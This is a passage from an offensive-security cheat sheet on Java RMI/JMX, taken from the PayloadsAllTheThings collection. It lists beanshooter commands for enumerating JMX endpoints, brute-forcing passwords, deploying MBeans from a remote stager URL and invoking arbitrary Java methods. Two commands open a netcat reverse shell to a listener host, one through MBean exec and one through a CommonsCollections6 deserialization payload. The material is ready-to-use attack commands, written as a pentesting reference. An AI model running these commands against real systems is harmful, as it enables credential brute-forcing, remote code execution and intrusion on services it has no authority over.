* List available attributes: `beanshooter info 172.17.0.2 9010` * Display value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose` * Set the value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean` * Bruteforce a password protected JMX service: `beanshooter brute 172.17.0.2 1090` * List registered MBeans: `beanshooter list 172.17.0.2 9010` * Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000` * Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090` * Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'` * Invoke arbitrary public and static Java methods: ```ps1 beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")' beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' ``` * Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'` * Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
Source: Java RMI/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.